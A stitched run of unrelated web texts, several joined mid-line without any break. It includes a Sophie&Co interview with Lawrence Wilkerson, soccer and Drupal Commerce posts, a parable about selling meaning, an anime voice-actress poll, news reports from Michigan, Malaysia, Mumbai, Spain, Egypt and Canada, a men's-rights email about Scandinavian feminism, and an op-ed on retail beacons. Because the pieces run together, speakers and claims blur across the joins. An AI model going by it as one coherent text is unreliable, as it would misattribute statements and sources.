CLW: Well, we’ve just heard newly-elected senator Tom Cotton saying that Iran was the foremost threat to the U.S., this morning, in the press. What a preposterous allegation! These are absolutely wrong, even unwise pronouncements; there is absolutely no reason why the U.S., or the West in general, and Russia should be enemies - we have our differences, we have our similarities and our common interest. We should be working on the common interest, using our similarities and our common cultural aspects, for example, and we should be working on the problems. You can solve Ukraine tomorrow morning, all you have to do is to declare it neutral in all the capitals that are relevant, including Ukraine - and let them work their own problems out and the get all the foreign powers out, get everyone out and let the Ukrainians solve their own problems, which are huge. Ukraine is bankrupt, it is just riddled with corruption, it’s worse than Washington or Moscow in that regard, and I’d say they are riddled with the corruption too, and so is Beijing, but Ukraine made some look like pikers. So, what happens in Ukraine should be up to Ukrainians, and everyone should get out and quit interfering - that’s the only way you’re going to get Ukraine that develops in the way that the majority of its people, russian and otherwise, have a decent future.
SS: You know, I’ve lived in America for almost 10 years, and from my experience, general public doesn’t really care that much about the outside world, and is much more interested in taxes and size of the government, wasteful spending, gay rights, etc. Obviously, they vote on internal issues, rather than foreign policy - does this really leave American foreign policy essentially unchecked?
CLW: Well, it does leave foreign policy to what I call “national security elite”, just as in Moscow it’s left to Putin and “siloviki” and some of the oligarchs. It’s dangerous on both accounts, because as we see with President Putin, what he’s doing is more or less to keep his poll rating up above 80% so he can maintain power, because his power was slipping before he began to stand up so abruptly to the West. On our side, it’s happening partly because of the domestic political reasons, and partly because we have really made a mess of various regions and situations in the world. I don’t think Russians and I don’t Americans care very much about foreign policy until their leaders stir them up to care about particular issue, and unfortunately the leaders usually stir them up to care about issue in concert with leader’s views and not the truth - and that’s the case all across the world, but it’s particularly the case with great powers who tried to propagandise their own people all the time.
SS: I just wonder, who do you see as America’s next President? Would you vote for Hillary Clinton, for example?
CLW: I have a real problem with Hillary Clinton because she often speaks as if she were a chicken-hawk like the rest of the chicken-hawks in this country, and chicken-hawks, by the way, are people like Dick Cheney who talk about the war interminably, but have never participated in it themselves because they’re too cowardly to do so. I have a problem with Hillary Clinton from that perspective. I know that she’s tacking to the right, because she has to maintain the national security bona fide that have finally been re-gathered around the Democratic flag, but still, I have a problem with her on that basis. On the Republican side, I don’t see anybody that I would vote for - and I am a Republican.
SS: So, I guess we’ll just wait and see, but I feel like a lot of people in America feel the same way as you do.
CLW: I think they do too, and that’s why the fastest growing group of people in the U.S. now, by some polls as high as 50-55%, are independents - not Democrats, not Republicans.
SS: Colonel, thank you very much for this interesting interview and the insight into the colours of the American foreign policy. We were talking to Colonel Lawrence Wilkerson, former Chief of Staff to U.S. Secretary of State Colin Powell. We were talking about how the U.S. is dealing with its foreign policy challenges across the globe. That’s it for this edition of Sophie&Co, I will see you next time.Forcing his way into the Colombian National Team's starting lineup was the easy part for Carlos Valdes. Now the defender will have to keep himself in the picture as Colombia is headed toward the final stretch of qualifying for the 2014 World Cup in Brazil.
Reports out of Colombia have indicated that Valdes has chosen to pursue a loan with his former club Santa Fe in order to keep in form and provide Jose Peckerman, the Colombian head coach, with a reason to select him for any friendlies prior to the start of the 2013 Major League Soccer regular season.
Santa Fe's president, César Pastrana, has told Colombian media that he has talked with Valdes himself and that the two sides were close to an agreement, despite what other sources had to say about the matter.
"Until now the players contracted are for the defense and we hope to close this part of the team with Valdes," Pastrana said. "Yesterday I met with Valdes and there is a great possibility that he will be with us, even though if we don't arrive at an agreement with him we still have a competitive group."
Any loan that would send Valdes to Santa Fe would most likely cover only the time before the start of the upcoming MLS season.
Another source of news on Valdes stated that everything but the Union's permission has been completed to make the loan deal happen.Welcome back. Last week we discussed our efforts around libraries, Composer, dependent modules. This week it’s time to jump into Commerce itself. Let’s start with currencies.
The very first Commerce 2.x story discussed our efforts to replace the hardcoded Commerce 1.x currency list with one generated from an external source. It also discussed our efforts to improve currency formatting. This work resulted in the commerceguys/intl library. It contains a list all currencies in the world, as well as translated currency names and symbols for over 200 languages. This list gets updated and expanded every 6 months (according to the CLDR release schedule).
On the Commerce side, currencies are configuration entities. An import form is provided that allows users to create currencies from library definitions. The importer also takes care of creating translations (name&symbol) for all available languages. When the user adds new languages to the site, Commerce will automatically import currency translations for those new languages as well.
The import form, allowing users to select from a list of 157 active currencies provided by CLDR.
The library also provides a mapping of countries to currencies, which will allow us to automatically import the right currency based on the store country.
Since currencies are now entities, the user can customize the imported data and translations, or define custom currencies, all without going into code.
Price field
The price field stores amounts and their currency codes. The amounts are no longer stored in cents, like in Commerce 1.x. Instead, we store them in a decimal column, then use PHP's builtin bcmath extension to perform calculations without precision errors. We're in the process of developing a helper class to make this API easier to use.
The field widget and formatter are locale aware and use the intl library's NumberFormatter to do the heavy lifting. A locale is a combination of a language code and a country code. For example, fr-CA, indicating French in Canada. This concept is missing from Drupal core, which provides only languages. But languages are not specific enough, since currencies are formatted differently in French (France) and French (Canada). Locales are thus implemented in Commerce, by combining the active language with the resolved country (the one in the user’s profile, for example). This whole process is dynamic and can easily be hooked into.
Notice the placeholder, it says “9,99”, telling me that I should use the comma as a decimal separator, since I’m viewing the admin pages in French. This has been a long standing Commerce 1.x feature request, implemented in 2.x thanks to the intl library.
The available currencies are listed in the dropdown next to the amount field. As expected, this dropdown is hidden when there’s only one currency available.
Number formats used for formatting are loaded from the library and cached inside Drupal. An alter event is provided that allows the formatting rules to be modified.
The formatter also supports Arabic, Arabic extended, Bengali, Devanagari digits. Here's $20.99 when viewing the page in Arabic:
This works both ways, if you enter ٢٠٫٩٩ into the widget, the number will be correctly parsed and stored as 20.99.
The end
We've significantly improved our currency handling, by introducing a better currency list, an admin UI, improved widgets and formatters. Furthermore, we've shared these improvements with the wider community through our commerceguys/intl library.
See you next week, when we'll discuss an awesome new concept: stores.“Meaningful goods here. Come get your prepackaged meaningful goods here.”
The traveling salesman caught my attention. “What kind of wares do you sell sir?” I asked as I approached him.
“The most important kind, of course. I sell the thing that all people seek in their lives.”
“Which is…?” I asked incredulously with my voice trailing.
“Why meaning of course! All higher level beings want it. Ever since your ancestors could contemplate their own existence, their place in the cosmos, and their own mortality, meaning has been essential to human existence.”
“How do you sell meaning?”
“It’s pretty simple really, each good is a prepackaged narrative along with feelings of significance which correspond with that narrative. These can help a given human to stave off truly pesky and painful questions like: Is there a point to existence?”
“Well is there?”
The salesman scratched his head. “Heck if I know, but with these packages you won’t need to find out the answer to that question in order to live your life.”
I scowled. “Well with all due respect, you’re selling junk goods if it turns out there is meaning in the universe, right?”
The salesman stammered for a moment, then regained composure. “Listen here! People, really desperate ones I might add, come to me. I don’t question the nature of their requests but it’s clear I’m helping them out of a deep existential bind. Regardless of if these are real or not, what does it matter? I’m doing good aren’t I?”
“Wait, what’s the catch?”
“Absolutely nothing friend.”
“Well, you have to give up something in order to have your goods, right? You’re a salesman after all, you’re not a charity giveaway.”
“Alright, alright, okay.” The salesman yelped. “You’re such a pushy one you know. You have to give up your autonomy, you have to give yourself to the idea 100% or you can’t have it. You have to be unwilling to change once you accept it.”
“Are you selling these for someone else? You’re basically having people pledge allegiances you’re having people give up their freedom to someone right?”
The salesman looked really impatient, if he hadn’t been. “I’m not at liberty to answer that. Look are you going to buy something or not?”
“Why should I?”
“What!” The salesman huffed. “You come to me to waste my time…?”
“No, no, no. I mean sell me.” I interjected. “You’re a salesman right? I’m not completely closed off to the idea, but I need to know more; I need to know why I should get one.”
“Of course.” The salesman replied, now calmer. “Everyone wants to know why.”
I smiled as a sign of good faith.
“Well you know those thoughts that keep you awake at night? Gone! Just one minute with one of these will dispel whatever existential malaise you have. No more sudden, frantic realizations of your mortality. No more concern about where humans came from or where they’re going. No sir, no teleological concerns whatsoever. And finally the moment of your death will be calm, assuming you don’t die violently, as you’ll already have made peace with your mortality.”
“What packages do you have?”
“Well my biggest package, one that’s frankly sold billions, with a b, simply known as The Truth. At the cost of complete loyalty to a universal master of your choosing, or maybe your own creation, you can rest easy. This package comes with the works. I’m talking about a guide book that tells you how to live life and why it’s meaningful and rote responses to all of the big questions. It’s honestly one of my better packages. Side effects might include wanting to share The Truth with others and thinking poorly of or wishing ill on those who do not believe.”
“Yikes, that last part is terrible!” I exclaimed.
“It is, but what are you gonna do?” The salesman said shrugging. “Besides it’s not guaranteed behavior.”
“What other lies are you carrying?” I teased.
“Please don’t call them that. I know that you were joking, but seriously don’t.”
“Sorry.”
“The next one is simply called success. It’s a package that comes with high self esteem and the belief that material possessions, economic obtainment, and companionship as valued within the sociohistorical context which you exist is intrinsically meaningful.”
“What?”
“You’ll believe that the more stuff you have and the more people like you, the more meaning your life will have.”
“Oh.”
“I have a similar one I like to call egoism. It will impart the idea that you can beat mortality and meaninglessness as long as you do something memorable and your name is recorded in rotting tree pulp covered in marks from a liquid like substance that can be read by future generations.”
“That one sounds kind of boring.”
“Oh, then you’ll hate procreation or messiah complex. You’ll believe you can beat mortality and meaninglessness through producing offspring who will themselves die or by saving other carbon based lifeforms who will also eventually die.”
“Do you have…” I paused, hesitant and not exactly sure what I was looking for.
“I have dozens more, just say the word and I’ll share others.”
“No, I’m looking for something… Specific. But I don’t know what I want.” I said with a straining of my lips.
“Oh. Well then maybe you need my Everything You Can Get package. It’s a packaging of all the packages packaged in any way you’d like. None of these are mutually exclusive you know.”
“I want something that won’t make me, you know, dependent on external validation.”
“Ah I can’t help you there friend.”
“You have to have something, weren’t you just bragging about having dozens more?”
“Sure, but absolutely none of them work that way. If you’d like to make your own then sell it to me to sell to others then there’s an option.”
“Well, okay then. Thanks for your time.” I said as I walked away.
“Wait that’s it?” The salesman asked. “You can’t leave. You haven’t made a decision. What are you going to tell everyone when they ask you what you value?”
“I guess I’ll just wing it, like I always have!” I shouted as I walked away.
AdvertisementsCharapedia, a Japanese online voting site for anime/game fans operated by Saitama-based company Egg Mode, has reported the result of its latest online survey "Anime Fans' Favorite Voice Actresses 2015."
It was conducted with the site's 10,000 registered users and its Facebook members between March 26 and April 1, 2015. The ratio of females to males was 53.7% to 46.3%. 77.8% of the voters were in their teens and twenties, the rest were 30 years of age or older. Check the top 20 ranking below. The top 20 voice actors will be announced on Saturday. Are you agree with the ranking?
Top 20 Voice Actresses
(the number in parentheses is their last year's ranking)
1 (1). Kana Hanazawa - 914 points
Kuroneko/Ruri Gokou in Ore no Imouto ga Konna ni Kawaii Wake ga Nai
Akane Tsunemori in Psycho-Pass
© Aniplex Inc.
2 (2). Miyuki Sawashiro - 709 pts
Nanami Haruka in Uta no Prince-sama
Fujiko Mine in Lupin the Third
© Mouse Promotion
3 (12). Saori Hayami - 549 pts
Ayase Aragaki in Ore no Imouto ga Konna ni Kawaii Wake ga Nai
Miyuki Shiba in The Irregular at Magic High School
© I'm Enterprise
4 (8). Haruka Tomatsu - 510 pts
Asuna in Sword Art Online
Iona Hikawa/Cure Fortune in HappinessCharge PreCure!
© Music Ray'n
5 (6). Rie Kugimiya - 480 pts
Shana in Shakugan no Shana
Madoka Aguri/Cure Ace in Dokidoki! PreCure
© I'm Enterprise
6 (-). Ai Kayano - 404 pts
Meiko "Menma" Honma in Ano Hi Mita Hana no Namae o Boku-tachi wa Mada Shiranai
© Office Osawa
7 (-). Sora Amamiya - 345 pts
Akame in Akame ga KILL!
Kaori Fujimiya in One Week Friends
© Sony Music Entertainment (Japan)
8 (-). Ayane Sakura - 304 pts
Cocoa in Is the order a Rabbit?
Levi Kazama in Trinity Seven
© I'm Enterprise
9 (4). Yui Ogura - 265 pts
Hinata Hakamada in Ro-Kyu-Bu!
Kokona Aoba in Encouragement of Climb
© Sigma Seven
10 (5). Yukari Tamura - 262 pts
Nanoha Takamachi in Magical Girl Lyrical Nanoha
Kaoru Tsunashi in I Can't Understand What My Husband Is Saying
© KING RECORD.CO.,LTD.
11 (-). Yoshino Nanjo - 246
12 (7). Nao Touyama - 210
13 (2). Nana Mizuki - 209
14 (-). Risa Taneda - 192
15 (-). Maaya Uchida - 182
16 (-). Rina Sato - 180
17 (10). Aki Toyosaki - 178
18 (-). Suzuko Mimori - 173
19 (9). Ayana Taketatsu - 172
20 (-). Megumi Hayashibara - 163
Source: CharapediaA Michigan teenager who assaulted a man with a stun gun was shot twice when the victim defended himself with a legally concealed pistol.
In May, Marvell Weaver, 17, was playing a variation of "knockout," a brutal and senseless game in which an assailant sucker punches an unsuspecting person with the intention of knocking him unconscious with one blow. The difference was that Weaver decided to attack his victim with a stun gun.
But Weaver, who said he'd played the game about six or seven other times, didn't anticipate what would happen next. The intended victim, a 28-year-old father who was waiting for his 6-year-old daughter to get dropped off from school at a bus stop, had a gun on him.
"I saw the van circle twice, and the second time three kids came out. I didn't suspect anything. I hadn't any enemies, or any reason to believe they would be looking to do anything to me," the victim, who chose to remain anonymous, told WILX.
According to Michigan Live, Weaver approached the victim and turned, pressing the stun gun into the victim's side repeatedly. The weapon misfired, and Weaver turned to flee.
The victim thought he had been stabbed, drew his weapon and fired two shots, striking Weaver in the buttocks.
“It happened so fast I wasn’t sure. I just know something was shoved into my side. I wasn’t sure if it was a knife, if it was anything,” the victim told police.
According to Michigan Live, Weaver told the man who had just shot him, “I’m sorry, please don’t kill me. I don’t know why I did that. I’m high, you know. I just wanna go home.”
Weaver survived the shooting and was sentenced to a year in jail for the attack. He now regrets playing "knockout" and admits he got off easy for it.
"It was just a lesson learned. I wish I hadn't played the game at all," Weaver told WILX.
Lansing police said Weaver's story should serve as an example of the consequences of playing "knockout."NOT long ago, Turkey and Malaysia were often bracketed together as countries that inspired optimism about the Muslim world. In both lands, Islam is the most popular religion. In both, democracy has been vigorously if imperfectly practised. And both have enjoyed bursts of rapid, extrovert economic growth.
In their early days in office, people in Turkey’s ruling Justice and Development (AK) party always found plenty of friends in Malaysia: allies who shared their belief that governance with a pious Muslim flavour was compatible with modernising, business-friendly policies and a broadly pro-Western orientation.
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All that makes doubly depressing a recent incident in Malaysia involving a prominent writer from Turkey. Mustafa Akyol is an exponent, in snappy English as well as his mother-tongue, of a liberal interpretation of Islam. In his book “Islam Without Extremes” he argues that his faith should never use coercion either to win converts or to keep those who are already Muslim in order. In other words, he takes at face value the Koranic verse which says, “There is no compulsion in religion.”
Last month Mr Akyol was invited to Kuala Lumpur by a reform-minded Muslim group and asked to give three lectures. In his second talk, he warmed to the non-coercion theme. As he insisted, people who fall away from Islam or “apostasise” should not be threatened with death, as happens under the harshest Islamist regimes, or even sent for re-education, as can happen in Malaysia. (For its all terrible human-rights abuses, nothing of that kind happens in Turkey.)
Afterwards, Mr Akyol was approached by members of Malaysia’s religious-affairs authority and told that he had done wrong by lecturing on Islam without their approval. Mr Akyol’s hosts reluctantly decided to cancel his third and final lecture. This would have highlighted Mr Akyol’s latest book, which is about Jesus of Nazareth and the common features of the Abrahamic faiths. The religious enforcers made it clear that the subject matter was not to their taste.
Matters did not end there. As he was about fly back to the United States where he currently lives, Mr Akyol was detained at the behest of the religious-affairs authority and interrogated. His detention lasted a night and a morning. It could have been a lot longer, but for the intervention of Turkey’s former president, Abdullah Gul, who still has friends in high Malaysian places.
Perhaps the most troubling aspect of the story is that Malaysia’s authorities particularly objected to Mr Akyol’s views on coercion. As was noted by the late Patricia Crone, a professor of Islamic studies, that Koranic verse about “no compulsion” has been subject to many different interpretations, both in Islam’s early years and recently.
For example, it has often been interpreted to mean simply that converts to Islam must adopt the faith freely, if the act is to have any merit. That does not preclude the use of state power to keep Muslims in line, and for example, punish them if they fail to fast or cover themselves properly. The Koranic verse has even been read in ways that are compatible with a harsh regime of Islamic enforcement. For example, it can be asserted that only a voluntary turning of the heart to God has any spiritual merit, but the state still needs to impose outward conformity for reasons of public order.
Britain’s Queen Elizabeth (1558-1603) seems to have thought something similar. She said she had no desire to “make windows into men’s souls”, but nonetheless, after a fairly tolerant start to her reign, ended up by persecuting Catholics who were seen as a threat to national security.
In modern times, too, the Koran’s non-compulsion verse has been read in a variety of ways: either as an appeal for full-blown religious freedom, of the sort which Mr Akyol advocates, or else as a much more limited statement, that people who embrace Islam must do so spontaneously and wholeheartedly.
This narrower reading is, apparently, the official line not only in full-blown theocracies like Saudi Arabia but somewhat milder places like Malaysia. And in Kuala Lumpur as well as Riyadh, other interpretations are excluded.national
After complaining of severe stomach ache on Monday night following an injection, 47-year-old Saira Sheikh was shifted to the ICU of Mumbai's KEM Hospital, where she passed away on Tuesday night
A day after 28 women, admitted in civic-run Bhabha hospital, suffered allergic reaction to antibiotics administered to them, one of the patients, 47-year-old Saira Sheikh, succumbed to the adverse drug reaction in the ICU of KEM Hospital, where she had been shifted for further treatment.
The 28 patients were receiving treatment at Bhabha Hospital in Bandra, but were later shifted to KEM and Sion Hospital. File pic
Sheikh had been admitted to Bhabha Hospital on August 15, after she tested positive for typhoid. Relatives say she had symptoms like fever and weakness. Shortly after being administered a concoction of two antibiotics Ceftriaxone and Cefotaxime, each 1000 mg she complained of severe stomach ache.
“After that, her condition started deteriorating and doctors informed us that she would have to be shifted to KEM Hospital. She was conscious the whole time and was talking to us, even though she was put on oxygen support. Despite treatment in the ICU, she died at 11.30 pm on Tuesday,” said Gulam Sheikh, a family friend.
Saira lived in Kurla with her husband and two children. Her body was taken to JJ Hospital in Byculla, where a post mortem was conducted. Doctors said that the condition of other patients who complained of body ache, breathlessness and nausea, is currently stable. Around 13 of the women were shifted to Sion Hospital.
Dr Prashant Bhatia, a general physician, said, “Ceftriaxone and Cefotaxime are two very common drugs, which are generally given to patients who complain of monsoon related diseases. These medicines are given to patients before reports of blood tests done to detect the exact disease are received.
Frequently, one dose per day or a maximum of two doses per day is administered to patients.” He added, “The woman who succumbed to the antibiotics had more complications than others when she was admitted, and so her body may have not been able to bear the Adverse Drug Reaction (ADR).”
An FIR has been lodged in Kurla police station. The Food and Drug Administration (FDA) has launched an inquiry into the incident, drawing samples and sending them for toxicity tests to the Drug Control Laboratory, which is situated in the FDA headquarters.
Speaking to mid-day, Pramod Yasatwar, FDA drug inspector for Zone III, said, “The drug sampling has been done and we’ve issued orders that the two antibiotics not be used until the sampling report arrives. This has been done as a precautionary measure, so that no other patient is affected. The sampling results will be ready in another 20 days.”
The two drugs that the patients reacted to have been identified as Ceftriaxone, manufactured by Jee Laboratory in Himachal Pradesh, and Cefotaxime, by Sanjivini Parental Drugs in Navi Mumbai.
These injections are used to treat a variety of bacterial infections. An FDA official explained, “The drugs that were administered by the doctors are used to cure high fever. We have stopped the batch of the drugs and are awaiting the reports.”MADRID, July 11 (Reuters) - Spanish Prime Minister Mariano Rajoy said on Wednesday he would raise the value-added tax by 3 percentage points to 21 percent as part of a large package of tax hikes and spending cuts aimed at trimming the public budget by 65 billion euros over the next 2-1/2 years.
With the economy in recession, unemployment high and tax income falling, Spain is struggling to meet tough deficit cutting targets that it has agreed on with the European Union.
This week the EU agreed to give Spain more time, until 2014 instead of 2013, to reach a public deficit of 3 percent, and the country’s deficit goal for this year was also relaxed, to 6.3 percent of GDP. However, even that easier target is seen difficult for the country to reach.I think the following e-mail says so much about the situation in Sweden and partly also in the rest of Scandinavia. So I translated it and, with the author’s approval, published it on the Swedish AVfM site. But I feel I need to share it with you in America too. So here it is in its original form.
I live in Frederikshavn, so I’m experiencing firsthand the Scandinavian version of feminism. Just when I thought I couldn’t be anymore shocked about how insane Sweden/Scandinavia is and has gotten, I just saw “The Gender War” last week, and … I should mention I’m a left-winger and a feminist. But I’m also black, so I already know all too well how insane the white (American) woman’s version of feminism is. But I never would have imagined Scandinavia being like this if I had stayed at home in the USA. I had to marry a Dane, move to Denmark, and help raise a teenage boy for me to really see the true face of this version of feminism, and I’m beyond shocked. It explains why my husband lost custody of his two daughters to a woman who is a borderline psychotic – a woman who can barely take care of herself, let alone two girls. It explains why all the women in politics and civil services here act the way they do. It explains why a lot of the world sees Scandinavian men as “passive” and “soft”. Most of the world missed this (probably deliberately), but it also explains why Anders Behring Breivik’s rage in 2011 was far, far more anti-feminist than Islamophobic (though the two issues are actually interconnected). Unfortunately, it also explained why I had to end a 10-year pen friendship with a Swedish woman – obviously it was over Julian Assange. She couldn’t possibly image why the whole world was denigrating the Swedish court system’s treatment of this poor man… And it was worth noting that she herself was a manic depressant who suffered from a panic disorder. She even had the nerve to say to me that I was the one who had mental issues, and not her!!! And it really kills me that there are Americans back home who think that we should emulate Swedish society!!!!!! NO ONE WHO HAS LIVED OUTSIDE OF SCANDINAVIA CAN POSSIBLY IMAGE WHAT LIFE IS REALLY LIKE HERE. Maybe it’s because some of them refuse to see the truth and they’d rather prefer to live in their fantasy utopia world than to accept some harsh realities. I don’t know. So I want to let you know that you definitely have a female ally in speaking out about the lies and exaggerations about Scandinavia, and especially about its women. The misandry really has to stop, and it has to be exposed for the harm it’s doing to both feminism as well as even civil rights.
That was the first part of her letter. After I replied, and among other things asked if I could publish it, she sent another one.
Hi By all means feel free to publish my letter wherever you want, and feel free to use my real name. I have absolutely nothing to hide. A hearty congratulations for saving your baby girl. I wish that were the case with my husband Thomas, but you know stories like ours usually don’t have a happy ending. I didn’t realize how bad it was in Sweden until I started doing some digging. That society’s fucking disintegrating, but for some reason the Swedish people “seem” to want this to happen. Or am I wrong????? I lived in Denmark since 2009, but spent some time in Drammen from late 2011 until early 2012. Those two countries aren’t too far behind, either. I thought Norway had its “wake-up call” with their twin terror attacks, but the narrative to the outside world just HAD to be about theIslamophobia, and NOT about how the Norwegian court system could deliberately avoid exploring ABB’s [Anders Behring Breivik’s] childhood by having his (now deceased) mother write a letter to the presiding judges. |
first adventure escorting Roamancing Producer, Erica Hargreave, to Cairo, Egypt for the IOETI. To ease Lucy on to the road, Emme and Lucy once sudsed off, hit the road trippin' to the Oasis in Cobourg, Ontario to see Ron Neilsen & the Sufferin' Bastards. That will be the next video of ours that I shall post. -------------------------------------- #LucyDuck #RubberDuck #bath #BathTub #bathtime #vlog #unboxing #unboxingvideo
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213Thousands of Egyptians gathered in Tahrir Square to express frustration over the revolution's stall [Reuters]
Essam Sharaf, the Egyptian prime minister, has vowed to sack any member of the security forces accused of killing protesters during the uprising that toppled former President Hosni Mubarak.
"I have issued new instructions as a matter of urgency for the minister of interior to suspend any officers implicated in the killing of protesters," Sharaf said in a statement on Saturday. "I have also demanded a swift return to the highest levels of security on the streets of Egypt to make them safe again and give our citizens the dignity they deserve."
Sharaf's statement came in response to the renewal of mass protests in Egypt. Tens of thousands of people gathered in central Cairo's Tahrir Square and other towns on Friday in what many hoped would amount to a "second revolution" to speed up reforms.
The protesters called on Sharaf's government and the military council that has ultimate power in post-revolution Egypt to reform the country's security services, bring to justice police officers accused of killing protesters and put on trial Mubarak and other members of his ousted regime.
Late on Saturday, authorities ordered the arrest of three police officers who are suspected of torturing to death a conservative Muslim man they had detained in the wake of a New Year's Eve church bombing in Alexandria. Mohamed Sayyid Bilal was arrested during a police sweep in the city that focused on the Salafi community.
'Hundreds' of officers to lose their jobs
Interior Minister Mansour el-Essawi had already announced, on Thursday, that he would "shake up" the ministry around the same time that employees would be subject to their annual performance review. Hundreds of officers suspected of using violence against protesters would lose their jobs, he said.
Al Jazeera has learned that cull of ministry employees, which will go into effect on August 1, will include 18 generals, nine brigadiers and dozens of mid-level and junior officers. Osama el-Teweel, the head of police in Suez, has already been replaced.
Egyptians have expressed widespread frustration over the lack of change since Mubarak's Feburary 11 toppling, complaining that although Mubarak and many hated figures under him have lost power, the key elements of his regime remain in the judiciary, the police and the civil service.
The uprising, which began on January 25, left 846 people dead and more than 6,000 injured.
Mubarak is due to stand trial on August 3 for the ordering the killing of protesters - a charge that could carry the death penalty.
Sharaf said he also urged the public prosecutor to put together a team to speed up investigations into cases about the killing of protesters and that the prosecutor had decided to appeal all acquittals that had been issued in such cases.
A United Nations human rights team in June urged Egypt's interim military authorities to move quickly to lift the long-standing state of emergency and to declare that torture would no longer be tolerated.President Jimmy Carter traveled to Minneapolis Friday as part of a Nobel Peace Prize forum. Before he attended the forum, he stopped off at Augsburg College to speak to about 530 Kindergarten-12th grade students. Students welcomed him with a standing ovation. Carter then bluntly described many of the problems the world faces today noting that more people are in slavery than there was during the civil war. Many of those are girls who are sex slaves.
Carter answered questions from students including what kind of sacrifices he had to make to become president. Carter said he had to sacrifice his privacy, however the reward was worth it. He has access to world leaders to advance the causes he cares about and “when I speak, sometimes people listen.”
Carter then addressed the Nobel Peace Prize Forum with a speech entitled “A Call to Action: Women, Religion, Violence, and Power.” Carter’s Vice President Walter Mondale was scheduled to introduce him, but Mondale was at the Mayo Clinic in Rochester with the flu.
Video at top: Highlights of Carter speaking to students at Augsburg College
Videos below:
Full replay of Carter speaking to students at Augsburg College.
Full replay of Carter speaking at Nobel Peace Prize Forum.Prime Minister Justin Trudeau gamely bantered about his sex appeal, his thoughts on Canada's relationship with the U.S., and how he'd like to see a woman lead the country as he appeared on Live with Kelly and Ryan on Monday.
Trudeau was the first sitting Canadian prime minister to appear on the long-running American daytime TV show, which was visiting Niagara Falls, Ont., for two episodes.
PM makes impression on U.S. talk show in Niagara Falls appearance 1:12
The conversation went from light and personal to political, with Trudeau telling co-hosts Kelly Ripa and Ryan Seacrest the relationship between Canada and the United States "is unbelievably deep."
Ripa noted Trudeau was close with former U.S. president Barack Obama and asked how he would characterize his relationship with current President Donald Trump.
"We have a good, constructive working relationship and that's the important part of it," said Trudeau. "There's a lot of things we agree on.
"Today is World Environment Day, we don't agree on that, because I think there's a lot of good jobs in the environment that we're building for. But we both agree that the most important responsibility of a leader is to create good jobs for middle-class people across our countries and we're connected on that."
Could this day get any better?! <a href="https://twitter.com/JustinTrudeau">@JustinTrudeau</a> <a href="https://twitter.com/KellyRipa">@KellyRipa</a> <a href="https://twitter.com/RyanSeacrest">@RyanSeacrest</a> <a href="https://twitter.com/hashtag/LiveVisitsNiagara?src=hash">#LiveVisitsNiagara</a> <a href="https://twitter.com/NiagaraFalls">@NiagaraFalls</a><a href="https://twitter.com/NFallsTourism">@NFallsTourism</a><a href="https://twitter.com/VisitNiagara">@VisitNiagara</a> <a href="https://t.co/lNTiW2rDQ1">pic.twitter.com/lNTiW2rDQ1</a> —@LiveKellyRyan
Trudeau was in the hot seat as soon as he sat down and Ripa asked: "How does your wife feel about you being named the sexiest politician alive?"
"My wife's the one who doesn't believe it. She's like, 'Really?' She knows what I look like when I get up in the morning," said Trudeau.
I have one daughter and there is something very special about imagining a woman prime minister. I think it's long overdue. I just don't think we have to wait that long. I think it should be sooner than that. - Justin Trudeau
"Is it so different than this?" replied Ripa.
"A little messier," quipped Trudeau.
Sitting outdoors at the Oakes Garden Theatre, with the American and Horseshoe Falls as the backdrop and scores of audience members sitting on the grass in front of the stage, the three also chatted about Trudeau's childhood and his experiences having his father being Canada's prime minister.
"Do you secretly want one of [your kids] to become the next prime minister?" asked Seacrest.
"Definitely not," said Trudeau. He later added: "Although I will say, I have one daughter and there is something very special about imagining a woman prime minister. I think it's long overdue. I just don't think we have to wait that long. I think it should be sooner than that."
They also briefly touched on the latest terror attack in London and security at home.
"I've been going from tourist destination to tourist destination right here and I've never felt safer, so you're doing an outstanding job," Ripa told Trudeau.
During a commercial break, Seacrest pulled out his phone for a selfie with Trudeau and Ripa. When he couldn't frame the group in the shot, Trudeau snatched the camera away and took the photo.
Monday's Live with Kelly and Ryan also included an appearance from Orphan Black star Tatiana Maslany and American singer Erin Bowman.
The episode kicked off with the hosts remarking on the unpredictable weather in the region and how they spent the weekend exploring the falls, with Seacrest on the water and Ripa at the casino.
The second episode set in Niagara Falls, which will air Tuesday, features America's Got Talent judge Howie Mandel, Cars 3 star Nathan Fillion, and musical performers French Montana and Swae Lee. It was also shot on Monday.
This is the show's third time airing from the falls after broadcasts in 1996 and 2006.
Live with Kelly and Ryan airs on CTV in Canada and in national syndication in the U.S.Editor’s note: Navneet Loiwal is the CEO and co-founder of couponing and shopping app Shopular.
After indoor positioning with Wi-Fi, beacon technology is a massive step forward in ambient context identification, which is why this technology is all the buzz of late. Beacons allow for background positioning and detection, giving new power to a phone that can make it truly “smart.”
Because they offer the potential to target a consumer at the most opportune moment, beacons are especially hot on the retail sales front because shelves and store displays can suddenly become interactive and personalized. Brands are no longer limited by shelf displays and point-of-sale campaigns to communicate their messages, and brand marketers can extend past the store floor or shelf to deliver a personalized, digital form of outreach to identified shoppers.
Beacons are a unique and sophisticated tool in the world of merchandising and advertising. However, if we take a step back and think about exactly how beacons are reaching retail locations, there is reason for concern rather than excitement.
Currently, beacon networks are fragmented and closed. At quick glance, this may not be a concern, but thinking ahead, this fragmentation will likely result in long-term negative implications for consumers, retailers and developers alike.
An analogy for beacon technology is GPS. Since its inception, GPS technology has always been an “open system” onto which developers could innovate and extend new product applications. Imagine if GPS had been deployed in a similar manner to beacons and, for example, if Google seized control of California, Apple secured rights to Nevada, and TomTom gained exclusive access to The Netherlands. In this situation, the end-user would be forced to rely on multiple applications and hardware selections to complete a single journey.
Fortunately, GPS was not deployed in this fashion. But this is exactly how beacons are currently being deployed, and it’s the primary reason why they will limit the same innovation and depth of user experience that everyone is getting excited about.
To unlock the massive potential of beacons, we need an open network much like GPS: ubiquitous, widely accessible, and easy to use and implement through built-in platform support. Beacons must form a new ubiquitous layer that powers context in order to most effectively serve the end-user. Instead, individual companies are currently creating the equivalent of small, private networks that will have limited value and use.
In the retail space, beacons have garnered considerable attention in recent weeks and months. It is our view that if we advocate and build an open, inclusive beacon network, then all constituents — retailers, developers and end users — will collectively benefit.
Retailers
As with any new space, “immediate gain” usually does not translate to “ultimate reward.” It is likely that the retailers currently teaming up with closed networks may find themselves rethinking this decision a few years down the line.
We’ve all read about retailers aligning with various app developers to install beacons for their apps. But today’s hot app may not be the most popular tomorrow. If a retailer ties itself to a platform backed by a single app and that app slips from hot to “not,” then that retailer is faced with having to uninstall and reinstall beacons. This reconfiguring process requires a massive undertaking in order to take advantage of new technological advancements. And the consequences are not without impact to the merchant’s bottom line.
